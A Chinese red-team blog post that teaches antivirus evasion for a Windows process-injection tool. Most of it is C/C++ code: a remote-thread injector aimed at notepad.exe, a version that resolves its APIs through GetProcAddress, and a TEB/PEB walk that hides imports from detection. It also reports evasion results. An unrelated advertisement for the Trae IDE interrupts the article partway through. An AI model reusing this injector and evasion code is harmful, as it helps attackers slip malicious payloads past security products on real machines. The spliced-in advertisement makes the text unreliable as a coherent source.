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RedTeamTips--PEB隐藏

首先向各位师傅拜个早年,春节将至,公众号将暂停更新一段时间,年后再见。在本文中,我们将探讨如何隐藏程序中的peb信息。首先,让我们了解一下什么是peb,它的全称为process environment block,即进程环境信息块,用于存储进程信息,每个进程都有自己的peb信息,位于用户地址空间。其结构如下:
typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID Reserved4[3]; PVOID AtlThunkSListPtr; PVOID Reserved5; ULONG Reserved6; PVOID Reserved7; ULONG Reserved8; ULONG AtlThunkSListPtr32; PVOID Reserved9[45]; BYTE Reserved10[96]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved11[128]; PVOID Reserved12[1]; ULONG SessionId; } PEB, *PPEB;
具体结构可以参考下图: 在 win dbg中,可以使用以下命令查看:
!peb
接下来,我们将介绍如何简单地隐藏PEB信息。首先,我们通过一个简单的远程线程注入示例来展示。
#include #include #include int find_process(const wchar_t* process_name) { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); int returnValue = 0; if (!Process32First(snapshot, &entry)) { goto cleanup; } do { if (wcscmp(entry.szExeFile, process_name) == 0) { returnValue = entry.th32ProcessID; goto cleanup; } } while (Process32Next(snapshot, &entry)); cleanup: CloseHandle(snapshot); return returnValue; } unsigned char shellcode[] ="\x00"; int main(int argc, char* argv[]){ HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, true, find_process(L"notepad.exe")); LPVOID targetPage = VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hTargetProcess, targetPage, shellcode, sizeof(shellcode), NULL); DWORD ignored; CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)targetPage, NULL, 0, &ignored); return EXIT_SUCCESS; }
其API调用链主要有以下两条: 查找进程PID:
CreateToolhelp32Snapshot --> Process32First --> Process32Next
创建线程:
OpenProcess --> VirtualAllocEx --> WriteProcessMemory --> CreateRemoteThread
这些API调用通常是敏感操作,容易被监控。 VT上也有类似的功能: 查杀率: 解决方法1:使用GetProcAddress GetProcAddress函数用于获取指定动态链接库(DLL)中的输出库函数地址。这种技术在重明中也有使用。 函数原型:
FARPROC GetProcAddress( HMODULE hModule, // DLL模块句柄 LPCSTR lpProcName // 函数名);
以CreateToolhelp32Snapshot为例,改用GetProcAddress的调用方法如下:
HMODULE Kernels32 = GetModuleHandleA("kernel32.dll"); using CreateToolhelp32Snapshots = HANDLE(WINAPI*)(DWORD,DWORD); CreateToolhelp32Snapshots CreateToolhelp32Snapshot = (CreateToolhelp32Snapshots)GetProcAddress(Kernels32,"CreateToolhelp32Snapshot");
以此类推,最终代码如下: Trae win Trae Windows 官方版本现已全面支持 Win10 和 Win11 系统(64位)。国内开发者可直接访问 Trae 中文官网(trae.cn 或 trae.com.cn),一键下载官方正版 .exe 安装包,享受国内直连的高速稳定体验。安装过程极其简便,双击即可运行,并支持一键无缝导入 VS Code 或 Cursor 的原有主题、快捷键及插件配置。登录支持手机号、微信或稀土掘金账号。内置免费的豆包与 DeepSeek 等顶级大模型,让你开箱即用,轻松开启高效的 AI 智能编程之旅。 下载
#include #include #include using namespace std; unsigned char shellcode[] ="\x00"; HMODULE Kernels32 = GetModuleHandleA("kernel32.dll"); int find_process(const wchar_t* process_name) { using CreateToolhelp32Snapshots = HANDLE(WINAPI*)(DWORD,DWORD); CreateToolhelp32Snapshots CreateToolhelp32Snapshot = (CreateToolhelp32Snapshots)GetProcAddress(Kernels32,"CreateToolhelp32Snapshot"); using Process32Firsts = BOOL(WINAPI*)(HANDLE,LPPROCESSENTRY32); Process32Firsts Process32First = (Process32Firsts)GetProcAddress(Kernels32,"Process32First"); using Process32Nexts = Process32Firsts; Process32Nexts Process32Next = (Process32Nexts)GetProcAddress(Kernels32,"Process32Next"); PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); int returnValue = 0; if (!Process32First(snapshot, &entry)) { goto cleanup; } do { if (wcscmp(entry.szExeFile, process_name) == 0) { returnValue = entry.th32ProcessID; goto cleanup; } } while (Process32Next(snapshot, &entry)); cleanup: CloseHandle(snapshot); return returnValue; } int main(int argc, char* argv[]){ using OpenProcessPrototype = HANDLE(WINAPI*)(DWORD, BOOL, DWORD); OpenProcessPrototype OpenProcess = (OpenProcessPrototype)GetProcAddress(Kernels32, "OpenProcess"); using VirtualAllocExPrototype = LPVOID(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); VirtualAllocExPrototype VirtualAllocEx = (VirtualAllocExPrototype)GetProcAddress(Kernels32, "VirtualAllocEx"); using WriteProcessMemoryPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); WriteProcessMemoryPrototype WriteProcessMemory = (WriteProcessMemoryPrototype)GetProcAddress(Kernels32, "WriteProcessMemory"); using CreateRemoteThreadPrototype = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); CreateRemoteThreadPrototype CreateRemoteThread = (CreateRemoteThreadPrototype)GetProcAddress(Kernels32, "CreateRemoteThread"); HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, true, find_process(L"notepad.exe")); LPVOID targetPage = VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hTargetProcess, targetPage, shellcode, sizeof(shellcode), NULL); DWORD ignored; CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)targetPage, NULL, 0, &ignored); return EXIT_SUCCESS; }
函数情况: 在不考虑shellcode的情况下,免杀效果: 解决方法2:从PEB下手 由于PEB是内存中的一个结构,其中包含DLL及其在内存中的位置,我们的思路如下: 遍历PEB,然后从中找到kernel32的地址。找到后,遍历其导出表找到我们需要的函数名称。 其查找地址的方法可以参考以下代码:
#include #include // Thread Environment Block (TEB) #if defined(_M_X64) // x64 PTEB tebPtr = reinterpret_cast(__readgsqword(reinterpret_cast(&static_cast(nullptr)->Self))); #else // x86 PTEB tebPtr = reinterpret_cast(__readfsdword(reinterpret_cast(&static_cast(nullptr)->Self))); #endif // Process Environment Block (PEB) PPEB pebPtr = tebPtr->ProcessEnvironmentBlock;
最终效果如下: 此时我们可以使用上述方法继续操作,最终结果: 注:该方法作者已使用很长时间,效果不错,重明工具中也有相关利用,文章截图皆为最新测试截图,该方法无法清除程序中的字符,如有需要可自行更改。 参考文章: https://www.php.cn/link/9c26f743a1c2d7d8a27fb9e8d366d365 https://www.php.cn/link/f4401dd087608e344ac946c2f5a982e4 https://www.php.cn/link/5d130e4cef1c50de7e168837012989b0 https://www.php.cn/link/d7ce4c420a30736d81b6a9fde18fc13c

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